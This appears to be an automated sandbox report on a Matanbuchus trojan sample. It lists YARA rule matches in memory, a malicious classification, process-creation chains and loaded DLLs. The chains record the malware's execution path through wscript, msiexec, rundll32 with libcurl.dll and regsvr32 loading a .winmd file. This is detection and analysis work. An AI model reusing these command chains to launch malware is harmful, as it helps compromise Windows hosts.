Source: 11.2.regsvr32.exe.7ebe0000.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Matanbuchus_4ce9affb reference_sample = 4eb85a5532b98cbc4a6db1697cf46b9e2b7e28e89d6bbfc137b36c0736cd80e2, os = windows, severity = x86, creation_date = 2022-03-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Matanbuchus, fingerprint = 61d32df2ea730343ab497f50d250712e89ec942733c8cc4421083a3823ab9435, id = 4ce9affb-58ef-4d31-b1ff-5a1c52822a01, last_modified = 2022-04-12
Source: 11.2.regsvr32.exe.7ebe0000.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Matanbuchus_58a61aaa reference_sample = 4eb85a5532b98cbc4a6db1697cf46b9e2b7e28e89d6bbfc137b36c0736cd80e2, os = windows, severity = x86, creation_date = 2022-03-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Matanbuchus, fingerprint = 332794db0ed7488e939a91594d2100ee013a7f8f91afc085e15f06fc69098ad5, id = 58a61aaa-51b2-47f2-ab32-2e639957b2d5, last_modified = 2022-04-12
Source: 11.2.regsvr32.exe.7ebe0000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Matanbuchus_4ce9affb reference_sample = 4eb85a5532b98cbc4a6db1697cf46b9e2b7e28e89d6bbfc137b36c0736cd80e2, os = windows, severity = x86, creation_date = 2022-03-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Matanbuchus, fingerprint = 61d32df2ea730343ab497f50d250712e89ec942733c8cc4421083a3823ab9435, id = 4ce9affb-58ef-4d31-b1ff-5a1c52822a01, last_modified = 2022-04-12
Source: 11.2.regsvr32.exe.7ebe0000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Matanbuchus_58a61aaa reference_sample = 4eb85a5532b98cbc4a6db1697cf46b9e2b7e28e89d6bbfc137b36c0736cd80e2, os = windows, severity = x86, creation_date = 2022-03-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Matanbuchus, fingerprint = 332794db0ed7488e939a91594d2100ee013a7f8f91afc085e15f06fc69098ad5, id = 58a61aaa-51b2-47f2-ab32-2e639957b2d5, last_modified = 2022-04-12
Source: 6.2.regsvr32.exe.7f6d0000.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Matanbuchus_4ce9affb reference_sample = 4eb85a5532b98cbc4a6db1697cf46b9e2b7e28e89d6bbfc137b36c0736cd80e2, os = windows, severity = x86, creation_date = 2022-03-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Matanbuchus, fingerprint = 61d32df2ea730343ab497f50d250712e89ec942733c8cc4421083a3823ab9435, id = 4ce9affb-58ef-4d31-b1ff-5a1c52822a01, last_modified = 2022-04-12
Source: 6.2.regsvr32.exe.7f6d0000.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Matanbuchus_58a61aaa reference_sample = 4eb85a5532b98cbc4a6db1697cf46b9e2b7e28e89d6bbfc137b36c0736cd80e2, os = windows, severity = x86, creation_date = 2022-03-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Matanbuchus, fingerprint = 332794db0ed7488e939a91594d2100ee013a7f8f91afc085e15f06fc69098ad5, id = 58a61aaa-51b2-47f2-ab32-2e639957b2d5, last_modified = 2022-04-12
Source: 0000000B.00000002.2556127430.0000000004D02000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Matanbuchus_4ce9affb reference_sample = 4eb85a5532b98cbc4a6db1697cf46b9e2b7e28e89d6bbfc137b36c0736cd80e2, os = windows, severity = x86, creation_date = 2022-03-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Matanbuchus, fingerprint = 61d32df2ea730343ab497f50d250712e89ec942733c8cc4421083a3823ab9435, id = 4ce9affb-58ef-4d31-b1ff-5a1c52822a01, last_modified = 2022-04-12
Source: 0000000B.00000002.2556127430.0000000004D02000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Matanbuchus_58a61aaa reference_sample = 4eb85a5532b98cbc4a6db1697cf46b9e2b7e28e89d6bbfc137b36c0736cd80e2, os = windows, severity = x86, creation_date = 2022-03-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Matanbuchus, fingerprint = 332794db0ed7488e939a91594d2100ee013a7f8f91afc085e15f06fc69098ad5, id = 58a61aaa-51b2-47f2-ab32-2e639957b2d5, last_modified = 2022-04-12
Source: 00000006.00000002.2016135931.000000007F6D0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Matanbuchus_4ce9affb reference_sample = 4eb85a5532b98cbc4a6db1697cf46b9e2b7e28e89d6bbfc137b36c0736cd80e2, os = windows, severity = x86, creation_date = 2022-03-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Matanbuchus, fingerprint = 61d32df2ea730343ab497f50d250712e89ec942733c8cc4421083a3823ab9435, id = 4ce9affb-58ef-4d31-b1ff-5a1c52822a01, last_modified = 2022-04-12
Source: 00000006.00000002.2016135931.000000007F6D0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Matanbuchus_58a61aaa reference_sample = 4eb85a5532b98cbc4a6db1697cf46b9e2b7e28e89d6bbfc137b36c0736cd80e2, os = windows, severity = x86, creation_date = 2022-03-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Matanbuchus, fingerprint = 332794db0ed7488e939a91594d2100ee013a7f8f91afc085e15f06fc69098ad5, id = 58a61aaa-51b2-47f2-ab32-2e639957b2d5, last_modified = 2022-04-12
Source: 0000000B.00000002.2556486132.000000007EBE0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Matanbuchus_4ce9affb reference_sample = 4eb85a5532b98cbc4a6db1697cf46b9e2b7e28e89d6bbfc137b36c0736cd80e2, os = windows, severity = x86, creation_date = 2022-03-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Matanbuchus, fingerprint = 61d32df2ea730343ab497f50d250712e89ec942733c8cc4421083a3823ab9435, id = 4ce9affb-58ef-4d31-b1ff-5a1c52822a01, last_modified = 2022-04-12
Source: 0000000B.00000002.2556486132.000000007EBE0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Matanbuchus_58a61aaa reference_sample = 4eb85a5532b98cbc4a6db1697cf46b9e2b7e28e89d6bbfc137b36c0736cd80e2, os = windows, severity = x86, creation_date = 2022-03-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Matanbuchus, fingerprint = 332794db0ed7488e939a91594d2100ee013a7f8f91afc085e15f06fc69098ad5, id = 58a61aaa-51b2-47f2-ab32-2e639957b2d5, last_modified = 2022-04-12
Source: 00000006.00000002.2015787150.00000000050AE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Matanbuchus_4ce9affb reference_sample = 4eb85a5532b98cbc4a6db1697cf46b9e2b7e28e89d6bbfc137b36c0736cd80e2, os = windows, severity = x86, creation_date = 2022-03-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Matanbuchus, fingerprint = 61d32df2ea730343ab497f50d250712e89ec942733c8cc4421083a3823ab9435, id = 4ce9affb-58ef-4d31-b1ff-5a1c52822a01, last_modified = 2022-04-12
Source: 00000006.00000002.2015787150.00000000050AE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Matanbuchus_58a61aaa reference_sample = 4eb85a5532b98cbc4a6db1697cf46b9e2b7e28e89d6bbfc137b36c0736cd80e2, os = windows, severity = x86, creation_date = 2022-03-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Matanbuchus, fingerprint = 332794db0ed7488e939a91594d2100ee013a7f8f91afc085e15f06fc69098ad5, id = 58a61aaa-51b2-47f2-ab32-2e639957b2d5, last_modified = 2022-04-12
Source: 00000004.00000002.2944220363.0000000005464000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Matanbuchus_4ce9affb reference_sample = 4eb85a5532b98cbc4a6db1697cf46b9e2b7e28e89d6bbfc137b36c0736cd80e2, os = windows, severity = x86, creation_date = 2022-03-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Matanbuchus, fingerprint = 61d32df2ea730343ab497f50d250712e89ec942733c8cc4421083a3823ab9435, id = 4ce9affb-58ef-4d31-b1ff-5a1c52822a01, last_modified = 2022-04-12
Source: 00000004.00000002.2944220363.0000000005464000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Matanbuchus_58a61aaa reference_sample = 4eb85a5532b98cbc4a6db1697cf46b9e2b7e28e89d6bbfc137b36c0736cd80e2, os = windows, severity = x86, creation_date = 2022-03-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Matanbuchus, fingerprint = 332794db0ed7488e939a91594d2100ee013a7f8f91afc085e15f06fc69098ad5, id = 58a61aaa-51b2-47f2-ab32-2e639957b2d5, last_modified = 2022-04-12
Source: 00000004.00000002.2944640918.000000007F290000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Matanbuchus_4ce9affb reference_sample = 4eb85a5532b98cbc4a6db1697cf46b9e2b7e28e89d6bbfc137b36c0736cd80e2, os = windows, severity = x86, creation_date = 2022-03-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Matanbuchus, fingerprint = 61d32df2ea730343ab497f50d250712e89ec942733c8cc4421083a3823ab9435, id = 4ce9affb-58ef-4d31-b1ff-5a1c52822a01, last_modified = 2022-04-12
Source: 00000004.00000002.2944640918.000000007F290000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Matanbuchus_58a61aaa reference_sample = 4eb85a5532b98cbc4a6db1697cf46b9e2b7e28e89d6bbfc137b36c0736cd80e2, os = windows, severity = x86, creation_date = 2022-03-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Matanbuchus, fingerprint = 332794db0ed7488e939a91594d2100ee013a7f8f91afc085e15f06fc69098ad5, id = 58a61aaa-51b2-47f2-ab32-2e639957b2d5, last_modified = 2022-04-12

Source: classification engine

Classification label: mal96.troj.evad.winJS@18/21@5/2

Source: C:\Windows\System32\msiexec.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\CML6929.tmp

Source: C:\Windows\SysWOW64\rundll32.exe	Mutant created: \Sessions\1\BaseNamedObjects\8f08
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:7028:120:WilError_03

Source: C:\Windows\System32\msiexec.exe

File created: C:\Windows\TEMP\~DF189CA5C6309A7118.TMP

Source: C:\Windows\SysWOW64\rundll32.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_Processor

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: C:\Windows\System32\msiexec.exe

Process created: C:\Windows\System32\rundll32.exe C:/Windows/System32/rundll32.exe libcurl.dll, curl_easy_init

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Doc_21-04-53.js"
Source: unknown	Process created: C:\Windows\System32\msiexec.exe C:\Windows\system32\msiexec.exe /V
Source: C:\Windows\System32\msiexec.exe	Process created: C:\Windows\SysWOW64\msiexec.exe C:\Windows\syswow64\MsiExec.exe -Embedding B05575DDF7F0D21FAECF0BEEF6387BEE
Source: C:\Windows\System32\msiexec.exe	Process created: C:\Windows\System32\rundll32.exe C:/Windows/System32/rundll32.exe libcurl.dll, curl_easy_init
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe C:/Windows/System32/rundll32.exe libcurl.dll, curl_easy_init
Source: unknown	Process created: C:\Windows\System32\regsvr32.exe C:\Windows\System32\regsvr32.exe -e -n -i:"C:\Users\user\8f08\813848\813848.winmd" "C:\Users\user\8f08\813848\813848.winmd"
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\SysWOW64\regsvr32.exe -e -n -i:"C:\Users\user\8f08\813848\813848.winmd" "C:\Users\user\8f08\813848\813848.winmd"
Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\System32\regsvr32.exe C:\Windows\System32\regsvr32.exe -e -n -i:"C:\Users\user\8f08\813848\813848.winmd" "C:\Users\user\8f08\813848\813848.winmd"
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\SysWOW64\regsvr32.exe -e -n -i:"C:\Users\user\8f08\813848\813848.winmd" "C:\Users\user\8f08\813848\813848.winmd"
Source: unknown	Process created: C:\Windows\System32\regsvr32.exe C:\Windows\System32\regsvr32.exe -e -n -i:"C:\Users\user\8f08\813848\813848.winmd" "C:\Users\user\8f08\813848\813848.winmd"
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\SysWOW64\regsvr32.exe -e -n -i:"C:\Users\user\8f08\813848\813848.winmd" "C:\Users\user\8f08\813848\813848.winmd"
Source: C:\Windows\System32\msiexec.exe	Process created: C:\Windows\SysWOW64\msiexec.exe C:\Windows\syswow64\MsiExec.exe -Embedding B05575DDF7F0D21FAECF0BEEF6387BEE	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process created: C:\Windows\System32\rundll32.exe C:/Windows/System32/rundll32.exe libcurl.dll, curl_easy_init	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe C:/Windows/System32/rundll32.exe libcurl.dll, curl_easy_init	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\SysWOW64\regsvr32.exe -e -n -i:"C:\Users\user\8f08\813848\813848.winmd" "C:\Users\user\8f08\813848\813848.winmd"	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\SysWOW64\regsvr32.exe -e -n -i:"C:\Users\user\8f08\813848\813848.winmd" "C:\Users\user\8f08\813848\813848.winmd"	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\SysWOW64\regsvr32.exe -e -n -i:"C:\Users\user\8f08\813848\813848.winmd" "C:\Users\user\8f08\813848\813848.winmd"	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srpapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: tsappcmp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: msi.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: tsappcmp.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: cabinet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: msi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: logoncli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: logoncli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: logoncli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: logoncli.dll	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: msi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: wininet.dll	Jump to behavior
